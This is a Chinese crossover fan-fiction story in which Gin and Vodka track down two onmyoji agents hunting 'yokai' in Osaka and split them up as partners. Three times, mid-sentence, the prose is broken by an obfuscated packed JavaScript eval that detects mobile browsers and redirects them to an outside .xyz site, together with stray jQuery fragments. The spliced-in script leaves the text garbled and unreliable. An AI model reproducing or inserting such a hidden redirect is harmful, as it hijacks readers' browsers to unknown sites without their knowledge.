《所以米花真的有妖怪对吗》 1. 搭档(一) 琴酒找上伏特加时,特意叮嘱他“开一辆其他车过来”——随便什么车都行,装没装防弹玻璃、有没有改造,都无所谓。 只要不是那辆保时捷。 伏特加听到这个要求时很摸不着头脑。大块头去停车场来回转了两圈,又找管理车辆的后勤问了好几句。几分钟后,精挑细选一辆灰扑扑毫不起眼的车接上自家大哥。 上路前他小心翼翼询问地址和任务内容。琴酒像压着一股气,冷漠地报了位置,说找人。找两个邮件不回电话不接跟失踪没两样的混蛋。 听到这充满主观情绪的形容,伏特加讪讪闭嘴,专心开车。 导航最终把他们带一处荒废的群民区。目的地周围没什么人,只零零散散伫立着几栋破败的一户建。 那些房子几乎都没有天花板,门也危险地挂在框上。过半外墙都是焦黑色,或者被各种劣质染料涂抹得油乎乎、看不出原本面貌。 距离目的地还有两公里左右时,车轮下的路面就开始由沥青路向砂石路转变。从某个岔路口进入一侧分支时,砂石地面也开始遍布坑洼、震得轮胎嗵嗵作响。一些杂草从石头下方破出来。偶尔也有不明动物的尸体或排泄物随机堆积肉眼可见的地方。 夏季高温烘烤得整个区域异味格外强。越向目的地深入,腐臭混着发酵的气味越浓烈、直冲人面门。空气被车窗玻璃拦在半途没那么刺鼻,但窗户缝渗进来的些许已经足够不妙。 伏特加有点想兜圈找个相对干净的地方停车,又怕再开几段、车外壳熏得更入味。他偏头看了大哥一眼小心翼翼想掉头回去,但还没动方向盘就被琴酒打断。 “就停这,”琴酒说,“走过去一样。” 伏特加尴尬地笑了两声。好像也是,反正在这附近溜达一圈,身上肯定不好闻。 他决定了。一回据点就把自己和大哥身上的两件外套扔掉,然后跟后勤上报“车辆报废”的事。 为了尽量减少步行距离,琴酒让伏特加在建筑最密集的位置把车停下。 大块头一开车门,倏地抬手捏住鼻子。他用空的另一只手在前挥动,赶跑被吸引来的细密小虫。在车上时他只猜测这里气味不会好闻。但实体接触到后,他发现自己的想象力还是不够大胆。 “......我们来这里,呃,接人,”伏特加声音闷闷地问,“......谁在啊。”谁在烈阳天跑来这种诡异的地方。 琴酒啧声:“还能有谁。那两个天天招摇撞骗的家伙。” 他回头看了眼自己的副手,没对后者那效果甚微的防护举动有任何评价。 周遭环境很总体来说很寂静,没有任何人声物体声。但空气里依稀混着尖利又沙哑的惨叫、以及肉.体撞上硬质水泥墙的响动。琴酒让伏特加保持安静,仔细听了一会儿,抬脚向其中一栋楼走去。 他们的目标在所有建筑里相对来说最完整。虽然窗玻璃七零八落,空洞上还挂着蜘蛛网,至少封起来了大半。 伏特加原本以为,脱离露天环境的建筑内会体面一些。但事实证明他又错了。 外面路边是动物死尸,建筑里同样落满莫名其妙的尸块。焦黑色不明形状的东西铺了满地。外壳是硬的,里面是软的。黑色焦皮皲裂的地方,透过厚厚的表皮痂能看到里面红色泛白的实质。 楼内散逸着微妙的血腥味,紧随其后的是焦糊......说是焦糊也不完全正确,更多还是类似塑料灼烧后的烟味。 奇形怪状的东西门口最少,向内逐渐增多。不像任何一种动物,不像人,倒像是什么劣质特效电影里的—— “呕。”伏特加还是没忍住,偏过头干呕一声。 琴酒表情同样难看。他压低眉毛,烦躁地加快脚步。 两人进门后惨叫声已经停止了,只有像大型动物濒死前哼哧哼哧喘气的声音。银发男人循着动静,忍着四周渐渐堆叠起来的碎尸,上楼、前进,最终在走廊尽头房间里见到活动的家伙们。 皮鞋敲击地面的声音在空荡荡的建筑内被放大。 蹲在窗边立柜前的橘发青年回头,与突然闯入的琴酒对上视线。他睫毛很长很密、碎发的发尾也微长过下巴。虹膜是金色,落在暗处时,每丝纹路都像在微微发亮。像漂亮的猫眼。 窗前的人全程只做了偏头侧身的动作,安安静静一声不吭。遮挡挪开一角后,琴酒看到了房间里另一个“大型生物”。 那不知道是什么东西。下半部分是成年男人的样子,但肋骨中段往上像主动裂开,拆成食人花花瓣一样的结构。每个肉瓣边缘都长着大大小小的牙齿,齿尖还粘连着黏液。其中几瓣像被什么炸过,黑黢黢的,蜷缩在一起比其他同类要短。 它从上到下整个“身体”都还在微微抽动。琴酒刚要开口,花瓣一样的头部突然暴起,张开“嘴”就要吞噬眼前两个人类。 橘发青年看回去,握着异形的手微微用力。不明生物发出一声惨叫,抽搐几下砰地砸在地上。它没添新伤口,但皮肤上原本裂开的部位都冒出淡淡黑烟。 空间里焦糊味更浓了。琴酒很确信,那一瞬间他从异形身上看到了电火花。 “这是什么。”他沉着声音问。 “妖怪。”橘发青年回答。 他说话声音不大,语调也很平静。本应该是呆板无害的样子,但搭配上那有些机械的动作和无机质的金色眼睛,让人有种和非人类生物沟通的错乱感。 还有,这世界上哪来的妖怪。 琴酒脸色很黑。他原本想追问,但想起这位同事一直以来“很难沟通”的评价,忍了忍把问题咽下去了。 不论是地上躺着的还是面前蹲着的都不正常。银发男人抬起右手烦躁地按着太阳穴,决定趁早把事情说完,快点离开这处处不顺眼的鬼地方。 “阿玛尼亚克,你搭档呢。”他决定换个情报提供者。 被称作阿玛尼亚克的青年眼睛好像亮了一下。他微微偏头,看向银发杀手身后的走廊。 视线另一端,伏特加还脚步虚浮地与视觉听觉冲击作斗争。 他越过一路上半遮半掩的房门,懂事地不去探究里面有什么。大块头努力踩实每一步赶到大哥身边,正要说话,突然听到手枪上膛的声音。 “噗滋——” “哇啊!” 背后一凉的瞬间,伏特加大叫着跳起来。在这种极高温的天气下,冰凉的液体骤然透过西装和衬衫刺向后背,温度反差激得他神经战栗。 无人的废墟、惨烈的现场、突如其来的攻击。电视报纸上看过的无数“生物未解之谜”在伏特加脑海中走马灯。仿佛会喷水的土龙、长着触手的尼斯湖水怪全在身后虎视眈眈盯着他—— 见副手吓得像要找个窗子飞奔出去,琴酒“啧”了一声,也给自己伯.莱.塔上膛。 “柯涅克,很好玩吗。”他咬牙切齿地问。 伏特加的叫声瞬间被掐断。 大块头哆哆嗦嗦地回头,看到同事柯涅克正举枪对着自己。对方当着他的面再次扣下扳机,无色无味看上去像水的液体从枪口滋出来。 ......原来是水枪啊。 “胆子大到空手跑来这种地方,还直挺挺地把后背露给敌人看,”被称作柯涅克的黑发青年挑眉,嗤笑着收起玩具,“这次被吓唬了应该能长长记性。以后别来乱七八糟的地方。” 伏特加正要顶嘴,说些类似“是你们先跑来这里的,我和大哥只是找过来”这样的话。但他还没开口,就被攻击者不耐烦的眼神怼回去。 柯涅克越过墨镜大块头,走向琴酒。 他穿了身灰色霜降纹浴衣,但在这种高温天,又像感温系统失灵一样在浴衣外披了件黑风衣外套。行走时脚上的木屐与地面哒哒碰撞,听上去闲散过头。 在遍地是死尸和隐藏危险的地方穿得奇奇怪怪,还有心情逗伏特加玩,琴酒眉心一跳,感觉血压又突突暴涨。 “解释,”他阴着脸说,“发了任务找不到人,莫名其妙跑来这种地方。还有,那滩躺在地上的异形是怎么回事。” 柯涅克阴阳怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256582|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气地应了一声。他越过问问题的人,走到搭档身边问:“魔魅流,你给他怎么解释的?” “妖怪。”魔魅流重复了一遍之前的回答。他语调还和方才一模一样,但浑身气势微微放松下来,像狮子伏在主人身边一般警惕却温驯。 “对啊,他不是说了吗,”柯涅克双手抱臂,“我们接到委托,来这里除妖。至于前因后果,那是委托人的隐私。” 伏特加缩在最后嘟嘟囔囔:“这世界上哪有妖怪啊。” 或许是室内突然安静下来的缘故。他这句话异常清晰,引得余下三人视线不约而同扫过来。 琴酒眼神依然很冷淡,但伏特加莫名从大哥表情里读出赞赏的意味......呃,赞赏他有勇气直接问出这句话? 至于两位来“干委托”的家伙,穿和服的那位啧了一声,眉毛拧作一团不善地盯着他。 伏特加咽了口唾沫,微微挺直身体。 他想起来了,组织里的人都说,柯涅克是个很相信怪力乱神的家伙。如果对方真烦躁地冲上来提着他的领子争论,他伏特加也不怕。毕竟大哥还在—— 琴酒上前一步,挡在他面前。银发杀手周身气势沉下来,隐隐透露出一丝攻击性和压迫感。 在他们对面,阿玛尼亚克同样稍稍调整身位,不动声色地将同伴护在背后。 橘发青年个子很高,但仍然比琴酒差几厘米。再加上他的肌肉和肩膀都没有后者结实,整个人看上去像拦在主人身前的年幼猛兽,威慑力比气势差得多。 不过这只是表面上的错觉。作为交过手的对象,琴酒深知面前这家伙身体素质有多离谱。他没搞什么弯弯绕,直接从胸前口袋里取出手机、打开邮件页面展示给那对搭档看。 “boss的新命令。”行动组负责人面无表情地复述邮件内容。 “你们两位进入组织有一年了,各自拿到代号也都是九个月前。虽然是从关西和关东不同分部进入组织的,但根据线人情报,你们认识并共同行动的时间比一年更久。” 阿玛尼亚克不易察觉地微微压低重心。柯涅克没说话,只是按上搭档的肩膀,试图把那股染上攻击性的紧张安抚下来。 琴酒瞥了眼进入准备姿势的人,确认他跟腱还没有开始发力,继续自己的转述。“boss不在意你们两个先前有什么联系、以及为什么关系亲、密成这样,”他忍着恶心在某个词上加了重音,“总之现在——” “他认为让你们搭档并不合适。该各自换新的了。” 话音刚落,琴酒立刻将手机扔回口袋、一手摸上伯.莱.塔另一手拽着伏特加的衣领后撤。他们面前的阿玛尼亚克像猛兽应激一般瞳孔骤缩、脚掌重重施力蹬向地面眨眼间便要扑杀过来。 伏特加被拽得踉跄。他心如擂鼓大脑发白,视线里的一切都在脑神经中快速处理。 像刀一样擦过头颅的气流、瞬间射穿外套的伯.莱.塔子弹、即将扼上左胸腔的利爪—— “回来。” 直到最后那句“命令”发出,大块头清楚地看到面前人瞬间瞳孔骤缩,捂着内脏双膝砸上地面。 阿玛尼亚克的异常仿佛只是瞬间。他动作被叫停后,整个人浑身肌肉又恢复原本的张力状态。喘息不变,神色不变,一切像都没发生过。 离开护卫者的遮挡,伏特加能清楚看到站在最靠窗位置的柯涅克的神情。 黑发青年皱着眉头,本应是担忧模样的眉眼又透露出一股冷漠。他视线静静投向跪下的搭档,又阴沉地钉上琴酒和伏特加。 这是赶人的意思。 琴酒眉心抽搐,藏在额发下的青筋也有些暴起。top killer扔下一句“快点解决我话还没说完”,忍着被恶心的心情去走廊躲着。 伏特加心有戚戚,又按捺不住好奇探头探脑地想要看后续。他脑袋刚动,柯涅克啧了一身,错身上前抬腿把门踹关上。 木屐齿撞上合板门,灰尘扑了伏特加一脸。大块头摸了摸鼻子上的灰,讪讪地缩去大哥边上站着。 2. 搭档(二) 重重关门的声音最终还是给伏特加神经上敲了一下。他原本就被阿玛尼亚克的动作吓了一跳,很快又让柯涅克一脸凶恶地赶出去。大块头做了个战战兢兢的深呼吸,生怕自己等下进门后,又一不留神哪里惹到这两位煞神。 各种意义上都有些可怕。他想。 虽然没少听闻,但伏特加确实是第一次亲眼见到这对搭档。大哥对他们的称呼听上去很板正,但他没忘记组织里花里胡哨的传言说这两人类似于......呃......疯狗和主人。 仔细想想,叫停阿玛尼亚克的那句话很像“命令”,而柯涅克的眼神也有种理所当然的训斥意味。一定要形容的话,大概是猛兽扑出去的那一刻被驯兽者狠狠扯住项圈——不过那两人之间的氛围貌似又更亲近一些。 琴酒看着伏特加来回踱步,又鬼鬼祟祟探头探脑的样子,难得多余叮嘱:“别好奇那两个家伙。小心一不留神就被带着圈进麻烦。” “什么样的麻烦?”伏特加问。他潜意识里觉得大哥说的麻烦不是指普通情况。 琴酒从衣兜里嗑出香烟,掏出打火机。他用火苗照了一圈周围的环境,随后才点燃烟草。 男人抬着下巴示意铺了一地的异形尸体:“鬼知道都是什么东西。不过组织里确实只有他们两个在负责这些事,而且除了任务他们还有不少类似的私活......不务正业。” 还神神秘秘的。琴酒也觉得这两个人只适合内部消化。给任何一位配新搭档,都像是强行把人推上精神病护工位置。比如过几天的他自己。 - 咄咄逼人的家伙们不在,门门内也重新安静下来。 “你想抢他手机?” 魔魅流站起身,沉默了几秒小心翼翼地点头。那双金色眼瞳睁得圆圆的,视线牢牢固定在搭档身上。他身高高出另一人许多,但此刻低着头、视线上偏,微妙地有种犯错后小心翼翼试探的模样。 “紧张什么,”柯涅克,或者说花开院龙二问,“他还没掏枪都能把你吓成这个样子。不过——”他手指点上眼前人内脏的、位置:“你最近怎么回事,比以往容易应激。” 魔魅流微微抿紧嘴唇。外人不在,没了努力塑起来的防卫壳,他浑身上下的气质放松不少。但如果有尾巴,此时大概率还是炸成蘑菇云的样子。 “......不只因为枪,”他低声解释,“他们说,要两个人分头行动。”还说了“不适合搭档”这种话。 花开院龙二语调平淡地“哦”了一声,找了一个远离窗户的矮柜抱臂靠上去。 他简单目测了一下距离,起身挪了几厘米,把矮柜另一边空间让出来、拍拍柜子示意搭档过来聊。 魔魅流不说话也没动。黑色瞳孔固定在虹膜中央,在有些昏暗的室内扩散成比以往更大更圆的形状。这双眸子直勾勾盯着人时过于直白,甚至有些热烈。 花开院龙二被盯了一会儿就受不了了。他无视心底莫名的心虚,拍着搭档脑袋把那张精致漂亮的脸按下去,进入一种眼不见心不烦的状态。 “......别撒娇,多大的人了,”他表情嫌弃,“又不是没分开过。白天各自调查,晚上又没人拴住你的脚不让走——该工作工作,该回家回家。你又不是柚罗,做什么都要人在后面盯着,随时准备收拾她捅的篓子。” “这里不一样。很危险。”魔魅流还在试图辩解。他说话时语调一如既往没有波动,只是压低的音量让所有话听上去都带着一种让步和试探:“我们到这里之后......虽然因为本家的调查偶尔会分开,但是其余任务......” “别太显眼,魔魅流,”龙二啧声,“我们是混进来的,还伪装成之前毫无交集的样子。如果你总跟着我不放,他们问起来怎么解释。” 他话音刚落,手臂突然被人握住。力道不重但完全不容忽视。 魔魅流还在从缠成一团的利弊里努力梳理线头。客观危险、主观保护意愿、遵从命令三者在他大脑翻搅,膨胀开,挤压所有余下的理智。 他右手无意识抵上内脏,耳边隐隐响起虚幻缥缈的兽类嘶鸣。猫叫一般的呼唤混着雷电劈啪作响的声音,又将他难得波动明显的思维拽回来,禁锢在原地。 “......如果分开是命令,我会遵守。”魔魅流低下头,像被驯服后开始展现温顺的狮子那样,敛着双眼放低姿态。 他确认一般问:“龙二,‘分开’是你的命令吗?” 花开院龙二沉默几秒,突然笑出来。他踩着木屐靠近,左手压上眼前人的头顶。橘色发丝在他指缝间杂乱地折叠翘起,手主人觉得自己像在撸一只大猫。 “好啊,既然这是你想听的话。”低沉又沙哑的声音暧昧地蹭在橘发青年耳边。说话人用带有引诱的态度重复:“‘分开是命令’,魔魅流。” 应声的声音与腐朽合板门被踹开的声音同时响起。 琴酒阴着一张脸进来,浑身的黑气在听到“命令”两个字时沉得快结成实质。他给了这两个家伙两分钟期限。现在时间到了,来传达boss意图的top killer要做恶人,打断这亲亲密密的氛围。 “我快吐了。”他每个字都咬得极重,仿佛要将两位玩深情主仆游戏的同事们碾碎。他顶着阿玛尼亚克戒备又应激的神情,话里带刺地说:“从今天开始,柯涅克,你跟着我行动。” “哦。”花开院龙二很无所谓。他在这个组织的定位是情报人员,平时出门招摇撞骗搞点消息,回来给行动组这些打手汇报就行。人和人之间的武装冲突大多时间都不用他顶上,除了魔魅流,其余搭档是谁都没差别。 “魔魅流呢?”比起自己,他更担心另一位,“这家伙可太单纯了。我不在,别人一骗就跟着跑。” 琴酒脸色有点绿。他侧过身打量站在一侧的阿玛尼亚克,用极大的努力让自己的评估靠近客观。 但很遗憾,他看不出这只疯狗浑身上下哪一点沾了“单纯”两个字。这种用在无知愚昧普通人身上词,听听就一阵恶寒。 没接到行动指挥,魔魅流还静静站在原地,肌肉关节没有任何细微动作。可一旦琴酒尝试性泄露一丝敌意,他又会跟着进入戒备状态。这种满心满眼只有护主的家伙可跟“好骗”也扯不上关系。 “......他跟伏特加走。”琴酒决定眼不见心不烦:“满意了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256583|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 花开院龙二心情很好地“嗯”了一声。 伏特加在他这里基本就是老实忠厚的代名词。这大块头没什么心眼。就算带去交接的其他组织成员都是人精,但伏特加能沟通下来的,怎么也不会太难缠。 “听到了吗,魔魅流,”他拍拍搭档的肩膀,“好好配合,小心那些心眼多的家伙。还有,晚上记得乖乖回家。” “好。”魔魅流点头应下。 - 目的达成,琴酒一刻都不想在这种诡异的地方多待。 他领着自己新鲜出炉的搭档往停车位置走。一路上经过那些据说是妖怪的尸体时,他还是觉得视野不太干净。原本看看就过去了,刚才被一通阴阳,他神经突突抽得疼。 柯涅克不和他的忠犬一起行动时几乎没有威胁性。这个喜欢穿和服这类不便行动衣物的家伙本身就是情报人员,攻击力不高,能动嘴皮子忽悠绝不动手。 窗外移动的云影短暂将烈日遮住,霎时凉下来的温度让钻入口鼻的气味没那么难受。 抵达车辆前时,琴酒花费零点几秒,评估自己身上沾了多少异味。他向来擅长隐藏情绪,不论内心如何复杂,面上仍然是毫无表情的样子。 但柯涅克不知道哪只眼睛观察出了端倪,惹人烦地开口调侃:“放心,干净得很。什么气都没染上。” 琴酒懒得搭理,也不想知道那个名词包含了多少种复杂的文学解读。 银发杀手径直打开车门坐进去。另一人从善如流地钻进副驾驶,继续用让人不爽的语气说着类似劝说的话:“别不信妖怪。它们出没的频率可比你想象中要高。” 琴酒冷漠地“哼”了一声,顺着讽刺:“如果有那种东西,一定先冲着你们这些江湖骗子来。” 花开院龙二意味不明地“哦”了一声。 “如果先冲着我来的话,让他们早点找上我呗。”他伸手用指关节敲敲方向盘前的位置、又指向道路尽头分岔口右侧。 “——那是我们回去的路?” 琴酒瞳孔一缩瞬间将车刹在原地。 轮胎与地面摩擦时尖锐的噪音仿佛撕裂橡胶。刹车片碰撞像钢片刮砂纸、刺挠得人耳蜗不适。他努力按着额头突突抽搐的青筋,定睛看向身侧人示意的方向。 那周围的空气都被烘烤得有些扭曲,空无一物的道路上伫立着红色、黄色、黑色三道鸟居,又仿佛有看不见的东西在门之间穿行。再眨眼后,一切又变回颗颗粒粒的破烂城郊道路。 琴酒手指险些按进方向盘。他咬牙切齿地说:“你最好别跟我开一些神神鬼鬼的玩笑。” “我是说‘如果’,”花开院龙二挑眉,“是不是真那么倒霉还不好说呢,你不如相信一下自己的运气。以及,平时不做亏心事,犯不着担心鬼魂会找上来。” 琴酒深呼吸,再次启动车辆,从另一条岔路绕路走。 “那你呢?”他问,“这么熟练,亏心事做多了?” “我是阴阳师啊,”花开院龙二指了指自己的双眼,像在暗示它们有些不同寻常的能力,“这是使命。” 琴酒:...... 他真懒得跟神经病吵。 3. 搭档(三) 确认大哥和那个难缠的柯涅克离开后,伏特加叹气,又做了个深呼吸。他内心斗争很久,终于回头面对自己要负责交接的人。 说实话,刚刚琴酒突然把安排阿玛尼亚克的任务分给他时,他心里很没底。 毕竟在接到这两人之前,伏特加连大哥如此怒气汹汹的原因都没搞清楚。 不过不负责任把人扔在这里、让他们自行探索显然不符合琴酒的行事风格。伏特加忍着五感和精神的双重打击,内心流泪了好一会儿,终于等来任务后续的邮件。 “带那只疯狗去找苏格兰他们”。这是琴酒的吩咐。 苏格兰啊......苏格兰还蛮好说话的。 伏特加微微放下心,快速将邮件抄送那边、附加了几句“来接人”的说明。搞定后,他悄悄偏头观察落单的同事。 他很少近距离接触位于组织八卦中心的家伙,但恰好身边这位就是其一。 伏特加在行动组的同事大多是群头脑简单四肢发达、又总是百无聊赖的人。能被他们记住的人基本只有两种——惹人烦的狡诈骗子,和打架很凶的危险分子。 偏偏柯涅克和阿玛尼亚克各自对号入座。 这对搭档是一年前各自从关东和关西两处据点进入组织的,刚进来时工作和区域都毫无交集。但某一天两个人凑到一起了。紧接着,他们就一拍即合天天形影不离,一个给另一个当狗——或者当猫。 伏特加听不懂,但他大受震撼。 他们最早登记信息时知道阿玛尼亚克叫“魔魅流”,一个听上去有些奇怪的、代号一样的名字。是不是真名不知道,但大概率用了很多年。至于姓什么,对方不说,人事部至今也没查出来。 柯涅克倒是大大方方给出自己的信息——他说自己叫“佐藤龙二”。名字可能是真的,但姓氏怎么听都像胡诌。十个情报贩子六个都说自己姓佐藤(剩下人里有三个会说自己姓铃木)。去警视厅内喊一句“佐藤君”一层都有四五个人好奇探头。 组织不知道柯涅克和阿玛尼亚克是怎么认识的、又经历了什么。琴酒和朗姆各自问过boss,那位大人给出的指示都是“不用探究”。等这对搭档拿到代号后,他们负责的事物又是常人不接触的领域。 久而久之,就没什么组织成员和他们很熟——包括伏特加。 不过这两人凑在一起的第二天,就开始互相使用“名”来称呼......该说是真的很看对眼呢,还是原本就认识然后忽悠他们这些人。 一想到自己要带着人去几十公里外和另外三个不简单的家伙沟通,伏特加就开始头大。 “......那个,”他转身,努力好声好气和人沟通,“我们......现在离开?” 大块头藏在墨镜后的眼珠疯狂瞥向一侧,又努力固定回阿玛尼亚克身上,希望这位同事不会为难自己:“我们现在要去一处安全屋,跟你之后的搭档们见个面......呃......你们认识一下。” 他和气地传达完安排,很快等到沟通对象乖巧的回应。 伏特加受宠若惊之余,意识到阿玛尼亚克其实也没那么不好沟通。或许是柯涅克之前说了让他好好配合,总之,这位橘色头发同事“嗯”了一声,什么也没问,安静缀在他身后。 ......啊,过分配合了。明明刚才还像能把他脑袋拧下来。 伏特加又背过身做了个深呼吸,领着人出发。 现在是下午两点左右,太阳最晒的时刻已经过去。只不过高温蒸烤过后,空气里的余温还停在原地无法对流。大阪临海,水蒸气裹着热气堵住口鼻,让人呼吸一口一口续接不上。 伏特加还是一身规矩的黑西装,跟在他身后两步的魔魅流也严严实实裹在黑风衣里。两人在建筑门口停了将近一分钟,大块头终于咔吧咔吧地把脑袋转过来,大汗淋漓的头上一脸心如死灰。 “......大哥把车开走了。”他说。 “嗯。”魔魅流语调平淡地应了一声。 伏特加听不出那是简单的陈述还是带有疑惑意味。他抓耳挠腮了一会儿,试探着问:“你和柯涅克开车来的?” “没有。” “那怎么来的?” “电车。还有的士。” “谁电车谁的士......不对,下了电车之后是的士。”伏特加干笑了几声,觉得自己好像被这种一问一答绕进去了,又或者是晒傻了。 他又尴尬地转回去,观察了一下四周。 这里是完完全全的郊区,最近的电车站要步行大半个小时。暴晒这么长时间,在这种不妙的天气下大概率会中暑。大块头苦哈哈地瘪嘴,感觉“的士”这个选项仿佛什么绑匪,把他们这些冤大头丢进死路,然后拍拍屁股就走。 伏特加还在热气里装木头人,一直站在他身后的橘发青年越过同伴,走到更靠近大路的位置。 他们面前的空气仿佛波动了几下。伏特加瞪大眼跑两步上前,眼看道路尽头驶来一辆老旧的汽车。 是十几二十年前很常见的日产型号,日本人爱用的黑色。发动机嘎吱嘎吱听着不是很健康,车头也泼了一片不明污渍。前挡风玻璃裂了几道大痕,就这么放在那里没有修。 橘发青年招了招手,陌生汽车缓缓停在他们眼前。 司机操着一口沙哑的大阪方言问:“去哪里?” “最近的电车站。”魔魅流说。 伏特加还在发愣。 突然闯到面前的汽车给他一种微妙的不真实感。他又被高挑的阿玛尼亚克挡得严严实实,看不到对方和司机的动作,只能听对话。 他总觉得自己同伴说完后又伸手做了个手势,司机也吸了口气含糊念叨了几句。接着,后者按下鸣笛,阿玛尼亚克拉开车门看过来,等他上车。 伏特加一脸恍惚地坐进去。 他们的司机戴着鸭舌帽,全程没抬头,也没再吭声。剧烈的阳光折射在后视镜上,晃得人眼睛发痛。伏特加频繁地扶着墨镜,眼睛偶尔不经意转到那里,与司机对上视线。 开车的人皮肤很白,眼球也浑浊得像有病症。一直对视不太礼貌——这样想着,他尴尬地偏头避开。 十分钟后,汽车把两人扔在距离车站步行五分钟的无人小巷。大块头甫一下车站稳,司机“嗖”地开走、眨眼间消失。前者还维持着掏钱包的姿势,一脸莫名地问:“我们付钱了?” “没有。”魔魅流说。 没有。 没有是什么意思?? “啊——可是!”伏特加在后面大喊着追赶。 从小巷穿出去,外界声音像惊雷一样轰地震透大脑。从寂静的世界闯入喧闹的世界,让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256584|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有种撕破保鲜膜的错位感。 橘发青年仿佛毫无察觉,面部所有五官肌肉都纹丝不改。他已经脱下那件厚重黑风衣搭在臂间,浑身气质没那么邪性,像清冷寡言的普通年轻人。大阪人本就形形色色,居民多样性很高,他在人群里远超“不起眼”的及格线。 伏特加看看同伴,又看看普通到陌生的人群,没由来地心里发毛。 割裂感好强,他想。他莫名就觉得,自己和阿玛尼亚克像扒着鬼门边缘爬出来的鬼魂,后者又若无其事地伪装起来混进人群,而“伏特加”还在这么看着。 再仔细一想,他貌似很久很久没有听到正常的环境音。明明那辆车开着窗、没有空调,但周身温度就是很冷。还有司机—— 大块头打了个寒颤,晃晃脑袋把自己吓自己的想法抖出去。 人来人往的场景比僻静的郊外更热。伏特加闷得受不了,和同伴一样脱下西装外套挂在臂弯。他缀在魔魅流身后想从人群间挤出去,但没走几步就踩上同事的鞋跟。 那双金色眼睛直勾勾地盯过来,眼角弧度微微弯起,又很快恢复原状。可能只有零点几毫米的差别,但伏特加莫名就觉得,阿玛尼亚克在笑。 “怎么了?”他愣愣地问。 “西装扔掉。”魔魅流一板一眼地回答。金色的眸子固定了几秒,又在一次快速眨眼后偏向一侧。仿佛在看伏特加背后的其他路人。 大块头不解地举起西装,左顾右盼地环视。 路人的神情似乎都随着他这件衣服跑。大阪居民多是粗犷性格,路边不论性别不论年龄很多人都直白地对黑外套露出避之不及的表情。 窸窸窣窣的交谈从口耳之间传出,嗡嗡钻进伏特加耳蜗。大块头鬼使神差地将衣服拿远换换鼻子边的空气、接着拉回来凑近闻闻外套。墨镜后的五官逐渐变得惊恐,伏特加又摘下帽子嗅了嗅。下一瞬间,他飞快??直手臂把两件衣物拿开—— “好臭!” 他之前就觉得味道很大,没想到真是从自己身上冒出来的。这么短短十几分钟他竟然已经适应了! 魔魅流抿了抿嘴唇,偏头极轻极快地笑了一声。转瞬即逝的笑意仿佛是错觉。 伏特加像天塌了一样抓着衣服帽子惊慌失措。这里没有垃圾桶,他活脱脱像个遭人嫌弃的脏衣架。而自己的好同事阿玛尼亚克一脸平静,转身就要往电车站走。 “......呃,”伏特加五官皱在一起不可置信地问,“你也在那边晃了很久诶!外套状况应该也很糟糕吧!” “没有味道。我清理过。”橘发青年说着,将挂在自己手臂上的外套向前递了递。 伏特加当街扭出一个诡异的姿势,翕动鼻翼嗅了嗅同伴的外套。 真的很干净。 还有清浅的花草香。 “......有这种神奇的清理方法不告诉我,你很讨厌我吗。” “没有,”魔魅流面无表情地解释,“龙二不喜欢琴酒。‘捉弄琴酒很难,但是捉弄他的副手很简单。等哪天只有你们两个的时候,帮我做个恶作剧吧’——” “他这么说。” 伏特加:...... 为什么平时惜字如金,复述柯涅克原话的时候就能一口气不喘说这么长的句子。 还有,好同事,你可以不那么听话的。 4. 搭档(四) 伏特加捧着臭烘烘的外套和帽子,恹恹地晃悠了五六分钟。大阪街头垃圾桶比东京能多一些,但每个桶里的垃圾也多。 大块头秉持着最体面的礼貌,找了个空位最多的桶,将衣服努力塞进帽子、然后将帽子努力埋进垃圾之间。 做完这些,周身异样的视线减少一半。余下一半是还会这个高壮男人的裤子和鞋有意见。 伏特加莫名觉得下半身凉飕飕。他一脸苍白地揪了揪裤腿,最终决定向同事妥协。 “......帮我清理一下,好吗,”他欲哭无泪地说,“我这样上电车一定会被赶下来的。” “......不会的。”魔魅流指正。大阪怪人很多,当地人早就习惯了。 虽然这样讲,但两人走向电车站时,他还是悄悄拖了下步子落在伏特加斜后方。 橘发青年将搭在臂弯的风衣外套换到另一边,空出来的右手垂在身侧,借着人群遮挡飞快活动了一下手指。 在普通人看不见的位置,凝结成字符形状的烟雾从指关节交叉环起的间隙冒出。他面色不改,借某次与路人错身的时机将符文拍在伏特加肩上。 “怎么了?”大块头莫名地问。 魔魅流微微摇头,没说话。 伏特加不自然地动了下突然被拍的位置,为自己竟然完全没察觉对方的靠近感到懊恼。与此同时,他又觉得周围人好像密集了一点。原本大家都散得很开,现在渐渐也愿意往他这边靠近——等下,身边的臭味好像变淡了。 大概是刚才吹风的时候散了散味吧。他想。 登上电车后,伏特加发现确实如阿玛尼亚克说的那样,没人在意他身上的异样。大块头松了口气,凑到好同事身边悄悄说:“梅田下车。” 魔魅流安静地点头。 - 半小时后,伴着电车哐啷哐啷离站的背景音,伏特加感觉自己心脏都在慌张地处乱跳。 